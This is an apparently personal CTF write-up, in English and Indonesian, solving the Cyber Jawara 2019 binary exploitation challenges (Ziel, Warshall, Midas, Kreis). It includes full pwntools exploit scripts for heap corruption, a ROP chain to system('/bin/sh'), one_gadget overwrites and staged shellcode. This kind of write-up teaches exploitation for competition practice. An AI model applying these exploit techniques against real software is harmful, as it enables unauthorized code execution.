      if (cVar1 == -1) break;
      if (('\x1f' < cVar1) && (cVar1 != '\x7f')) {
        if (cVar1 == ' ') {
          local_14 = local_14 + 1;
        }
        else {
          pvVar3 = malloc(0x15);
          *(void **)(layout_addresses + (long)local_14 * 8) = pvVar3;
          **(char **)(layout_addresses + (long)local_14 * 8) = cVar1;
          *(undefined4 *)(*(long *)(layout_addresses + (long)local_14 * 8) + 4) = 0;
          *(undefined4 *)(*(long *)(layout_addresses + (long)local_14 * 8) + 8) = 0;
          local_14 = local_14 + 1;
        }
      }
    }
    fclose(__stream);
  }
  return;
}

If we alter the save code, we can do LFI, with a maximum of 0x40 file name length.

According to the list, I can only pass the first element:
✓ 1. Flag is not read protected and it’s name is flag/flag.txt
✗ 2. Flag is not read protected and it’s name is random
✗ 3. Flag is read protected, must get RCE.

Ofc, there is a way to get RCE :)

Second Bug

There is an off by one in the spawn function:

puts("- Input description.");
printf("Text length: ");
uVar3 = read_int();
if (((int)uVar3 < 0xc9) && (0 < (int)uVar3)) {
  iVar5 = width * iVar2;
  pvVar4 = malloc((long)(int)(uVar3 + 0xb));
  *(void **)(layout_addresses + (long)(iVar5 + iVar1) * 8) = pvVar4;
  printf("Description: ");
  iVar3 = my_read(local_e8,(ulong)uVar3,(ulong)uVar3);
  **(char **)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) = local_ed[0];
  *(int *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 4) = local_108;
  *(int *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 8) = local_104;
  memcpy((void *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 0xc),
         local_e8,(long)iVar3);
}
else {
  puts("Invalid length.");
}

The memory malloced is size of desc + 0xb, but the desc starts to be written at address + 0xc, hence the off by one.

Using this off by one, we can create overlapping chunks, and as a consequence we can get an arbitrary write, overwrite free hook with a one gadget and get easy RCE!

Info leak?

Well, since PIE is enabled, getting an info leak is a bit tricky. Long story short, we can get an info leak from a certain file. Using the LFI read trick I mentioned above, we can open dan read the file /proc/self/maps. This file is basically what is printed by gdb when you type in the command info proc mappings.

Example:

pwn1810@2d1f2027d54d:~$ cat /proc/self/maps
55de5f98c000-55de5f98e000 r--p 00000000 08:02 28707441                   /bin/cat
55de5f98e000-55de5f993000 r-xp 00002000 08:02 28707441                   /bin/cat
55de5f993000-55de5f996000 r--p 00007000 08:02 28707441                   /bin/cat
55de5f996000-55de5f997000 r--p 00009000 08:02 28707441                   /bin/cat
55de5f997000-55de5f998000 rw-p 0000a000 08:02 28707441                   /bin/cat
55de618b7000-55de618d8000 rw-p 00000000 00:00 0                          [heap]
7fa7ffb3c000-7fa7ffb5e000 rw-p 00000000 00:00 0 
7fa7ffb5e000-7fa7ffb65000 r--s 00000000 08:02 28836792                   /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa7ffb65000-7fa7ffb97000 r--p 00000000 08:02 28836518                   /usr/lib/locale/C.UTF-8/LC_CTYPE
7fa7ffb97000-7fa7ffbb9000 r--p 00000000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffbb9000-7fa7ffd2a000 r-xp 00022000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd2a000-7fa7ffd76000 r--p 00193000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd76000-7fa7ffd77000 ---p 001df000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd77000-7fa7ffd7b000 r--p 001df000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd7b000-7fa7ffd7d000 rw-p 001e3000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd7d000-7fa7ffd83000 rw-p 00000000 00:00 0 
7fa7ffd89000-7fa7ffd8a000 r--p 00000000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffd8a000-7fa7ffdaa000 r-xp 00001000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdaa000-7fa7ffdb2000 r--p 00021000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb2000-7fa7ffdb3000 r--p 00028000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb3000-7fa7ffdb4000 rw-p 00029000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb4000-7fa7ffdb5000 rw-p 00000000 00:00 0 
7fffb054a000-7fffb056b000 rw-p 00000000 00:00 0                          [stack]
7fffb05b0000-7fffb05b3000 r--p 00000000 00:00 0                          [vvar]
7fffb05b3000-7fffb05b4000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

With this file, basically we have all our required info leaks!

Overlapping chunks

If you’ve ever read the how2heap github repository by shellphish, there are tricks that they explain on how to get overlapping chunks. However, the tricks they use are done when tcache is off or on chunks that aren’t affecting by tcache (i.e. greater than 0x400). Because of that I won’t be using the overlapping chunks trick, but a different one, i.e. The House of Spirit.

Since we can overwrite a chunk’s size with any value from 0x00-0xff, we can instead INCREASE the size of a chunk. With tcache chunks, there is basically no check on the house of spirit trick. Thus, we can increase the chunks to any size, and free it. If we increase a chunks to a size +0x20 (or any size), we can free it, allocate it again, and it will overlap the chunks after.

Illustration: Error

Now all I have to do is corrupt the fd pointer, and boom. Arbitrary write.

Here’s my full exploit:



from pwn import *

p = process('./ziel')

def next():
  p.sendlineafter('>', '1')

def spawn(x_pos, y_pos, identifier, x_vel, y_vel, desc_len, desc):
  p.sendlineafter('>', '2')
  p.sendlineafter('X:', str(x_pos))
  p.sendlineafter('Y:', str(y_pos))
  p.sendlineafter('ID:', str(identifier))
  p.sendlineafter('X:', str(x_vel))
  p.sendlineafter('Y:', str(y_vel))
  p.sendlineafter('length:', str(desc_len))
  p.sendlineafter('Description:', str(desc))

def kill(x_pos, y_pos):
  p.sendlineafter('>', '3')
  p.sendlineafter('X:', str(x_pos))
  p.sendlineafter('Y:', str(y_pos))

def save():
  p.sendlineafter('>', '4')

def load():
  p.sendlineafter('>', '5')

def restart():
  p.sendlineafter('>', '6')


p.sendlineafter('code:', '')
p.sendlineafter('Width:', '40')
p.sendlineafter('Height:', '1')


# leak maps
spawn(19, 0, 'd', 0, 0, 0x40-0xb, 'a'*(0x40-0xb))
kill(19, 0)
restart()

p.sendlineafter('code:', 'asdf')
p.sendlineafter('Width:', '128')
p.sendlineafter('Height:', '16')

maps = '../proc/self/maps'
for i in range(len(maps)):
  spawn(i, 0, maps[i], 0, 0, 1, 'a')

save()
load()
next()

p.recvuntil('|')
binary_leak = int(p.recvuntil('-')[:-1], 16)
heap_leak = int(p.recvuntil('[heap]')[-83:-70], 16)
libc_leak = int(p.recvuntil('-')[:-1], 16)
print hex(binary_leak)
print hex(heap_leak)
print hex(libc_leak)

# get arbitrary write
for i in range(128):
  for j in range(16):
    kill(i, j)
next()

spawn(0, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(1, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(2, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(3, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(4, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
kill(1, 0)
spawn(5, 0, 'd', 0, 0, 0x30-0xb-8, 'b'*(0x30-0xb-8-1) + '\x61')
kill(2, 0)
kill(3, 0)

# win
one_gadgets = [0x50186, 0x501e3, 0x103f50]
one_gadget = libc_leak + one_gadgets[2]
free_hook = libc_leak + 0x1e68e8

spawn(6, 0, 'd', 0, 0, 0x60-0xb-8, 'b'*(0x30-0xb-8-1) + p64(0x31) + p64(free_hook-0x10))
spawn(7, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(8, 0, 'd', 0, 0, 0x30-0xb-8, 'a'*4 + p64(one_gadget)*2)
kill(0, 0)


p.interactive()
p.close()

Error

:D

Extra notes

There is a double free bug that we can abuse in the next function. Basically, if two lifeforms “crash”, they will both be freed. There is no check if the lifeform is “dead”, so by killing the lifeform first and then having another lifeform crash it, it will be double freed.

Noone solved this challenge during the competition (AFAIK).




Final Thoughts

This was my favorite CTF so far. It shows that throughout the entire year, I’ve learnt alot and have been able to prove that I’m just as capable as other CTF players in my country, even ones that are older and more experienced than me. Problems at this level are awesome, but I wouldn’t recommend this level as the standard for Binary Exploitation. Maybe 1 or 2 at this level for University CTF’s please :v.

Tell me if you want a writeup on the web challenges, I might do them :v.






Indonesian

Pada tanggal 7 September 2019, babak kualifikasi dari lomba keamanan informasi tahunan Cyber Jawara diadakan. Tim saya mendapatkan posisi ke-13, dan biasanya diambil 10 tim untuk lanjut ke babak final. Untungnya tahun ini, 16 tim lanjut ke babak final.

Ketika babak final, kami diberi 8 soal, 4 dalam kategori web hacking dan 4 dalam kategori binary exploitation. Pada postingan ini, saya akan menjelaskan cara untuk menyelesaikan semua soal binex. Semua file dapat diunduh disini.

Catatan

Soal yang diberi sangat sulit. Saya sendiri hanya solve 2 ketika lomba berlangsung, sebagian besar karena saya tidak mempunyai environment yang cocok untuk menyelesaikan soalnya. Semua soal dijalani di Ubuntu 18.10, dan pada postingan ini saya akan menggunakan itu. (Ketika lombanya berlangsung saya menggunakan Ubuntu 19.04)

1. Warshall

Ketika menjalankan programnya, akan ditampilkan menu seperti berikut. Program ini akan mensimulasi algoritma mencari panjang jalan terpendek, melalui kota dan jalan yang dapat kita tentukan.

Contoh:

A B 2
A C 5
B C 2

Panjang jalan terpendek dari A ke C adalah 4. Algoritma yang digunakan adalah algoritma Floyd-Warshall, karenanya nama soal ini adalah Warshall.

== Shortest Path Finder ==

1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: A
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: B
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: C
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: A
Insert city 2: B
Road distance (in km): 2
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: A
Insert city 2: C
Road distance (in km): 5
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: B
Insert city 2: C
Road distance (in km): 2
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 3
Insert city 1: A
Insert city 2: C
Shortest path from A to C: 4km
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
>

Bugnya

Sebelum berlanjut ke bug, sebaiknya dipelajari terlebih dahulu cara kerja algoritma Floyd-Warshall. Anda dapat pelajarinya lebih lanjut disini

Algoritma Floyd-Warshall pada program tersebut menggunakan array sebesar 100 untuk menyimpan nama dari kota, dan array sebesar 10000 untuk menyimpan panjang jalan. Terdapat overflow pada fungsi “Add city”:

printf("City name: ");
fgets(local_118,0x100,stdin);
strtok(local_118,"\n");
iVar1 = check_if_city_exists(local_118);
if (iVar1 < 0) {
  lVar2 = (long)num_of_city;
  num_of_city = num_of_city + 1;
  strcpy(&name_of_city + lVar2 * 0x100,local_118);
}
else {
  puts("City already exists!");
}

Programnya tidak periksa jika 100 kota sudah ditambahkan atau tidak. Ini sendiri tidak berakibat pada leak atau yang lain, tapi ini menjadi sebab dari bug kedua, yaitu overflow pada array panjang jalan. Berbeda dari array nama kota, array panjang jalan terletak di stack. Karena kita bisa mendapatkan overflow, kita bisa mengubah return address dari fungsi handle untuk mendapatkan RCE.

Leak

Sebelum saya lanjut, saya harus bilang bahwa ketika CTF berlangsung, saya panggil fungsi system untuk mendapatkan RCE. Sebelumnya saya sudah mencoba menggunakan libc one_gadget, akan tetapi untuk satu dan lain hal (saya yang bodoh, bukan karena constraint), cara itu tidak berhasil. Nanti pada soal kedua, berhasil.

Dikarenakan proteksi PIE dihidupkan, kita perlu leak area executable. Karena fungsi handle dipanggil oleh fungsi main, return address dari fungsi tersebut merupakan bagian dari area executable. Dengan leak area executable, dengan mudah kita bisa mendapatkan leak libc dengan PLT puts, dan kemudian memanggil fungsi system.

Sebuah leak bisa didapatkan dari fungsi “Find shortest path”. Karena semua jalan diinisialisasi dengan panjang infinit (anggap aja infinit), nilai dari return address seharusnya memiliki nilai yang lebih kecil daripada itu. Perhatikan kode berikut:

printf("Insert city 1: ");
fgets(local_218,0x100,stdin);
strtok(local_218,"\n");
iVar1 = check_if_city_exists(local_218);
if (iVar1 == -1) {
  puts("City not exists!");
}
else {
  printf("Insert city 2: ");
  fgets(local_118,0x100,stdin);
  strtok(local_118,"\n");
  iVar2 = check_if_city_exists(local_118);
  if (iVar2 == -1) {
    puts("City not exists!");
  }
  else {
    if (road_array[(long)iVar1 * 100 + (long)iVar2] == 1000000000) {
      printf("No path from %s to %s\n",local_218,local_118);
    }
    printf("Shortest path from %s to %s: %dkm\n",local_218,local_118,
           (ulong)road_array[(long)iVar1 * 100 + (long)iVar2]);
  }
}

Tidak ada pengecekan jika iVar1 atau iVar2 kurang dari 100, maka dengan input yang tertentu kita bisa mendapatkan nilai dari return address. Catatan: Jalan terpendek direpresentasikan oleh integer 32-bit, maka kita perlu leak 2 kali.

list_names = []
for i in range(100):
  list_names.append(''.join([random.choice(string.ascii_lowercase) for j in range(10)]))
  create_city(list_names[i])

# Overflow
create_city('pwner')


## EXEC LEAK
short_path('pwner', list_names[51])
p.recvuntil(": ")
l = struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

short_path('pwner', list_names[50])
p.recvuntil(": ")
l +=  struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

l = int(l, 16)
exec_base = l - 0x96b
print "EXEC BASE LEAK"
print hex(exec_base)

Error

Fungsi “Build direct road” memberi kita cara untuk menulis nilai kedalam array panjang jalan. Karena kita bisa mendapatkan overflow ke return address (tanpa kena stack canary), kita dapat menulis nilai yang kita inginkan kedalamnya.

Kita memerlukan 2 ropchain, satu untuk leak libc dan satu lagi untuk panggil fungsi system dan mendapatkan RCE.

Catatan: Dari pengalaman saya, sejak libc 2.27, parameter kedua dari fungsi system harus diset menjadi NULL agar dapat panggil fungsi system tanpa segmentation fault. Makanya ada beberapa angka nol yang diselipkan kedalam ropchain.

Berikut exploit lengkap saya:



from pwn import *
import string
import random

p = process('./warshall')

def create_city(name):
  p.sendlineafter('>', '1')
  p.sendlineafter('name:', name)

def build_road(city1, city2, distance):
  p.sendlineafter('>', '2')
  p.sendlineafter('1:', city1)
  p.sendlineafter('2:', city2)
  p.sendlineafter('):', distance)

def short_path(city1, city2):
  p.sendlineafter('>', '3')
  p.sendlineafter('1:', city1)
  p.sendlineafter('2:', city2)

def end():
  p.sendlineafter('>', '4')

list_names = []
for i in range(100):
  list_names.append(''.join([random.choice(string.ascii_lowercase) for j in range(10)]))
  create_city(list_names[i])

# Overflow
create_city('pwner')


## EXEC LEAK
short_path('pwner', list_names[51])
p.recvuntil(": ")
l = struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

short_path('pwner', list_names[50])
p.recvuntil(": ")
l +=  struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

l = int(l, 16)
exec_base = l - 0x96b
print "EXEC BASE LEAK"
print hex(exec_base)

pop_rdi = exec_base + 0x1273
pop_rsi_r15 = exec_base + 0x1271
just_ret = exec_base + 0x1274
main = exec_base + 0x11f1
puts_got = exec_base + 0x201f98
puts_plt = exec_base + 0x790


# WRITE TIME

build_road('pwner', list_names[6], str(pop_rdi & 0xffffffff))
build_road('pwner', list_names[7], str((pop_rdi>>32) & 0xffffffff))

build_road('pwner', list_names[8], str(puts_got & 0xffffffff))
build_road('pwner', list_names[9], str((puts_got>>32) & 0xffffffff))

build_road('pwner', list_names[10], str(puts_plt & 0xffffffff))
build_road('pwner', list_names[11], str((puts_plt>>32) & 0xffffffff))

build_road('pwner', list_names[12], str(main & 0xffffffff))
build_road('pwner', list_names[13], str((main>>32) & 0xffffffff))

end()

## LIBC LEAK
l = int(p.recvuntil('\x7f')[-6:][::-1].encode('hex'), 16)

libc_base = l - 0x81010
system_address = libc_base + 0x50300
bin_sh_address = libc_base + 0x1aae80

print hex(system_address)



build_road('pwner', list_names[6], str(pop_rdi & 0xffffffff))
build_road('pwner', list_names[7], str((pop_rdi>>32) & 0xffffffff))

build_road('pwner', list_names[8], str(bin_sh_address & 0xffffffff))
build_road('pwner', list_names[9], str((bin_sh_address>>32) & 0xffffffff))

build_road('pwner', list_names[10], str(pop_rsi_r15 & 0xffffffff))
build_road('pwner', list_names[11], str((pop_rsi_r15>>32) & 0xffffffff))

build_road('pwner', list_names[12], str(0))
build_road('pwner', list_names[13], str(0))
build_road('pwner', list_names[14], str(0))
build_road('pwner', list_names[15], str(0))

build_road('pwner', list_names[16], str(system_address & 0xffffffff))
build_road('pwner', list_names[17], str((system_address>>32) & 0xffffffff))

end()

p.interactive()
p.close()

Error

:)




2. Midas

Midas merupakan soal yang paling saya benci. Soalnya didasari permasalahan coin change, dimana kita dapat menentukan koin apa saja yang ada dan nilai yang ingin kita hitung. Programnya akan mencetak banyaknya cara untuk mencapai jumlah yang telah kita tentukan.

== MIDAS - How many ways we can make the change? ==

1) Init coins
2) Compute
3) Exit
Choice: 1
Number of coins: 3
Insert nominal 1: 1
Insert nominal 2: 3
Insert nominal 3: 4

1) Init coins
2) Compute
3) Exit
Choice: 2
Insert desired value: 6
We can change 6 with 4 ways

1) Init coins
2) Compute
3) Exit
Choice:

Bugnya

Sebelum berlanjut ke bugnya, sebaiknya mengetahui cara kerja algoritma coin change. Anda bisa baca lebih lanjut disini

Berikut dekompilasi fungsi handler.

undefined coins [1200];
undefined amounts [12008];
puts("== MIDAS - How many ways we can make the change? ==");
while( true ) {
    while( true ) {
        while( true ) {
            puts("");
            puts("1) Init coins");
            puts("2) Compute");
            puts("3) Exit");
            printf("Choice: ");
            choice = read_int();
            if (choice != 1) break;
            number_of_coins = input_coins(coins);
        }
        if (choice != 2) break;
        calculate_ways(coins,amounts,12000,(ulong)number_of_coins);
        }
    if (choice == 3) break;
    puts("Invalid Choice!");
}

Seperti bisa dilihat, terdapat dua fungsi yang akan digunakan dalam kalkulasi algoritma coin change. Berikut dekompilasi kedua fungsi tersebut.

input_coins:

printf("Number of coins: ");
number_of_coins = read_int();
if ((int)number_of_coins < 0x12d) {
    i = 0;
    while (i < number_of_coins) {
        printf("Insert nominal %d: ",(ulong)(i + 1));
        nominal = read_int();
        if ((nominal < 1) || (3000 < nominal)) {
            printf("Please insert a number with valid range (1-%d)\n",3000);
            *(int *)((ulong)i * 4 + param_1) = nominal;
            if (*(int *)(param_1 + (ulong)i * 4) == 0) break;
        }
        else {
        *(int *)((ulong)i * 4 + param_1) = nominal;
        }
        i = i + 1;
    }
    return_value = (ulong)number_of_coins;
}
else {
    printf("Maximum number of coins is %d!\n",300);
    return_value = 0;
}
return return_value;

calculate_ways:

memset(param_2,0,(ulong)param_3);
*param_2 = 1;
printf("Insert desired value: ");
value = read_int();
i = 0;
while (i < param_4) {
    j = *(uint *)(param_1 + (ulong)i * 4);
    while (j <= value) {
        param_2[j] = param_2[j - *(int *)(param_1 + (ulong)i * 4)] + param_2[j];
        j = j + 1;
    }
    i = i + 1;
}
printf("We can change %d with %d ways\n",(ulong)value,(ulong)(uint)param_2[value]);
return;

Maksimal jumlah koin adalah 300, yaitu jumlah yang tepat ((1200)/4 == 300). Jadi tidak ada overflow pada bagian itu. Akan tetapi, yang menarik adalah fungsi calculate_ways. Tidak terdapat pengecekan batas jadi kita dapat melakukan kalkulasi pada angka berapapun. Hasilnya akan disimpan di param_2(array yang isinya hasil) + (jumlah yang dicari), maka kita bisa menulis diluar batas array.

Dengan OOB ini, kita bisa mendapatkan leak area executable, libc, dan menulis nilai dari return address fungsi handler.

Leak

Pada soal ini, saya menggunakan one_gadget untuk mendapatkan RCE. Ternyata pada soal sebelumnya saya ada offset yang salah. Yaudahlah ¯\_(ツ)_/¯.

Untuk mendapatkan leak area executable, saya cuma jalanin fungsi calculate_ways dua kali, pada offset 3006 dan 3007. Nilai itu adalah nilai dari return address. Karena seharusnya nilainya merupakan alamat di fungsi main, nilai tersebut merupakan nilai alamat di area executable.

Leak area executable sebenarnya tidak terlalu penting jika ingin langsung lompat ke libc one_gadget, tapi saya dapatin aja. Leak libc dapat didapatkan dengan cara yang sama pada offset 3010 dan 3011.

    compute(3011)
    p.recvuntil("with ")
    l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

    compute(3010)
    p.recvuntil("with ")
    l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
    l = int(l, 16)
    print hex(l)

    libc_base = l - 0x2409b
    one_gadget = libc_base + 0x50186


    compute(3007)
    p.recvuntil("with ")
    l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

    compute(3006)
    p.recvuntil("with ")
    l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
    l = int(l, 16)
    print hex(l)

    exec_leak = l

Error

Nah bagian ini adalah bagian yang ribet. Karena saya tidak terlalu pandai dalam bidang algoritma, saya hanya lakukan trail dan error sampai dapat cara yang bagus untuk menulis nilai. Setelah beberapa waktu saya perhatikan bahwa memset gak mengubah nilai return address (yalah wkwkw), jadi daripada menulis langsung angka yang besar, dengan perlambat saya menambahkan angka sampai dapat pada nilai yang saya inginkan. Saya harus gunakan faktor dari 3006 dan 3007 agar cepat, menambahkan koin akan mempercepat penambahannya.

Benar-benar cuma brute force sampai dapat. Aduh kenapa gak belajar algoritma lebih lanjut :(

Berikut exploit lengkap saya. Abaikan while(True), saya gunakan itu karena saya berharap nilai dari alamat one_gadget dan area executable itu positif kecil (kurang dari 300000000)



from pwn import *



def init_coins(num, coins):
  p.sendlineafter("Choice:", '1')
  p.sendlineafter("coins:", str(num))
  for i in coins:
    p.sendlineafter(":", str(i))

def compute(num):
  p.sendlineafter("Choice:", '2')
  p.sendlineafter("value:", str(num))

def end():
  p.sendlineafter("Choice:", '3')


while(True):
  p = process('./midas')
  compute(3011)
  p.recvuntil("with ")
  l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

  compute(3010)
  p.recvuntil("with ")
  l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
  l = int(l, 16)
  print hex(l)

  libc_base = l - 0x2409b
  one_gadget = libc_base + 0x50186


  compute(3007)
  p.recvuntil("with ")
  l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

  compute(3006)
  p.recvuntil("with ")
  l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
  l = int(l, 16)
  print hex(l)

  exec_leak = l


  one_gadget_part_1 = one_gadget & 0xffffffff
  ret_address_part_1 = exec_leak & 0xffffffff
  one_gadget_part_2 = (one_gadget>>32) & 0xffffffff
  ret_address_part_2 = (exec_leak>>32) & 0xffffffff


  temp = (one_gadget_part_1 - ret_address_part_1)
  print temp

  if(temp > 300000000 or temp < 0):
    p.close()
    continue
  init_coins(4, [9 for i in range(4)])
  while(one_gadget_part_1 > ret_address_part_1 + 6322120):
    compute(3006)
    ret_address_part_1 += 6322120

  print "HOPE"

  init_coins(3, [9 for i in range(3)])
  while(one_gadget_part_1 > ret_address_part_1 + 56280):
    compute(3006)
    ret_address_part_1 += 56280

  print "HOPE"

  init_coins(2, [9 for i in range(2)])
  while(one_gadget_part_1 > ret_address_part_1 + 335):
    compute(3006)
    ret_address_part_1 += 335

  print "HOPE"

  init_coins(1, [9])
  while(one_gadget_part_1 != ret_address_part_1):
    compute(3006)
    ret_address_part_1 += 1

  print "HOPE"

  init_coins(2, [31 for i in range(2)])
  while(one_gadget_part_2 > ret_address_part_2 + 98):
    compute(3007)
    ret_address_part_2 += 98

  print "HOPE"

  init_coins(1, [31])
  while(one_gadget_part_2 != ret_address_part_2):
    compute(3007)
    ret_address_part_2 += 1

  end()
  p.interactive()
  p.close()

Error

Yay!




3. Kreis

Sebelum saya lanjut, untuk kedua soal terakhir saya akan menilai solusi berdasarkan daftar berikut:
* Flag dapat dibaca dan namanya adalah flag/flag.txt
* Flag dapat dibaca dan namanya random
* Flag tidak dapat dibaca langsung, harus dapat RCE.

Kreis merupakan soal shellcode. Dekompilasi dari soalnya sebagai berikut.

void main(void)

{
  code *__addr;
  
  setup();
  puts("Shellcode:");
  __addr = (code *)mmap((void *)0x0,0xb,7,0x21,-1,0);
  fgets((char *)__addr,0xb,stdin);
  mprotect(__addr,0xb,5);
  (*__addr)();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Terlihat, pada awalnya soal melakuakan mmap pada alamat random dengan proteksi rwx. Kita dapat menulis sebanyak 10 byte kedalamnya, dan setelah itu proteksi diubah mprotect menjadi r-x. Maka kita hanya bisa menggunakan 10 byte shellcode untuk membantu kita.

10 byte tidak banyak, jadi tujuan pertama saya adalah mencari cara untuk menulis lebih banyak shellcode. Melihat nilai register pas sebelum shellcode dipanggil, saya melihat r12 ada nilai yang spesifik.

Error

0x4005f0 adalah nilai alamat _start, yang sangat berguna bagi kita. Maka kita memiliki cara untuk melompat keawal program lagi untuk menulis shellcode 10 byte lagi. Karena saya tidak ingin merusak stack terlalu banyak, saya mengubah nilai dari r12 menjadi nilai alamat main, yang terletak pada offset 0x10c dari _start. Setelah itu saya hanya perlu lompat kembali ke main. Jadi, berikut adalah payload pertama saya (10 di bagian kiri atas adalah panjang dari shellcode)

10
   0:   49 81 c4 0c 01 00 00    add    r12, 0x10c
   7:   41 54                   push   r12
   9:   c3                      ret

Sekarang kita memiliki cara untuk menulis lebih banyak shellcode sepanjang 10 byte, gimana cara untuk mendapatkan shellcode lebih panjang? Saya memecahkan persoalan ini menjadi 2 bagian, mendapatkan area rwx yang lebih besar dan menulis serta melompat ke area itu.

Mprotect

Karena fungsi main ada pemanggilan ke fungsi mprotect, maka fungsi tersebut seharusnya ada di PLT.

Error

PLT terletak sebelum _start, jadi kita harus mengurangi nilai sebuah register. Selain r12, terlihat bahwa r13, r14, dan r15 tidak berubah nilai pada loop kita. Jadi saya memindahkan nilai r12 ke r13 dan menguranginya dengan nilai tertentu.

6
   0:   41 54                   push   r12
   2:   4d 89 e5                mov    r13, r12
   5:   c3                      ret
10
   0:   41 54                   push   r12
   2:   49 81 ed f0 00 00 00    sub    r13, 0xf0
   9:   c3                      ret
7
   0:   41 54                   push   r12
   2:   49 83 ed 3c             sub    r13, 0x3c
   6:   c3                      ret

Nah sekarang kita hanya perlu menyiapkan parameter fungsi. Karena ini binary 64-bit, parameter fungsi akan terletak pada rdi, rsi, rdx, rcx, r8, dan r9 berturut-turut. Kita hanya memerlukan tiga, jadi cuma perlu menyiapkan rdi, rsi, dan rdx. Untuk mencapai ini, saya menempatkan nilai-nilainya di stack dan kemudian melakukan pop. Alasan saya lakukan itu adalah karena pop rdi, pop rsi, dan pop rdx merupakan instruksi dengan panjang 1 byte.

8
   0:   58                      pop    rax
   1:   58                      pop    rax
   2:   58                      pop    rax
   3:   6a 07                   push   0x7
   5:   41 54                   push   r12
   7:   c3                      ret
10
   0:   58                      pop    rax
   1:   58                      pop    rax
   2:   5f                      pop    rdi
   3:   5e                      pop    rsi
   4:   5a                      pop    rdx
   5:   41 54                   push   r12
   7:   41 ff e5                jmp    r13

pop rax digunakan untuk menyiapkan stack menjadi kondisi yang sempurna. Ini mengakibatkan area rwx yang panjang.

Error

Cara program tersebut memanggil shellcode adalah sebagai berikut.

00400753 48 89 c7        MOV        RDI,RAX
00400756 e8 55 fe        CALL       fgets    
         ff ff
0040075b 48 8b 45 f8     MOV        RAX,qword ptr [RBP + local_10]
0040075f ba 05 00        MOV        EDX,0x5
         00 00
00400764 be 0b 00        MOV        ESI,0xb
         00 00
00400769 48 89 c7        MOV        RDI,RAX
0040076c e8 5f fe        CALL       mprotect  
         ff ff
00400771 48 8b 55 f8     MOV        RDX,qword ptr [RBP + local_10]
00400775 b8 00 00        MOV        EAX,0x0
         00 00
0040077a ff d2           CALL       RDX

Ini berarti bahwa alamat dari area yang di mmap terletak di rdx. Menurut gdb, nilai tersebut sangat dekat dengan area yang kita ubah menjadi rwx barusan.

Error

Jadi saya memindahakan nilai ini ke r13, dan menambahkan r13 dengan nilai yang diperlukan.

6
   0:   41 54                   push   r12
   2:   49 89 d5                mov    r13, rdx
   5:   c3                      ret
10
   0:   41 54                   push   r12
   2:   49 81 c5 00 00 20 00    add    r13, 0x200000
   9:   c3                      ret

Sekarang saya perlu menyiapkan syscall read dengan 10 byte. Sekali lagi, saya menggunakan stack untuk membantu.

10
   0:   4c 89 ee                mov    rsi, r13
   3:   5a                      pop    rdx
   4:   5f                      pop    rdi
   5:   57                      push   rdi
   6:   0f 05                   syscall 
   8:   ff e6                   jmp    rsi

Sekarang saya bisa menulis shellcode yang panjang.

Sandbox

Sekarang, mungkin anda pikir bahwa shellcode execve tidak terlalu jauh, tapi saya belum bahas tentang program sandbox. Soal ini sebenarnya memberikan kita 2 program, kreis dan sandbox. Program yang barusan saya bahas adalah program kreis, sedangkan sebenarnya soal ini menjalankan ./sandbox kreis pada remote server. Berikut dekompilasi dari fungsi main di program sandbox.

init(param_1);
if ((int)param_1 < 2) {
    fprintf(stderr,"Run: %s [program]\n",*param_2);
    uVar2 = 0xffffffff;
}
else {
    uVar1 = fork();
    if (uVar1 == 0) {
        run_target(param_2[1]);
    }
    else {
        if ((int)uVar1 < 1) {
        fwrite("Fork error",1,10,stderr);
        return 0xffffffff;
    }
    run_debugger((ulong)uVar1);
    }
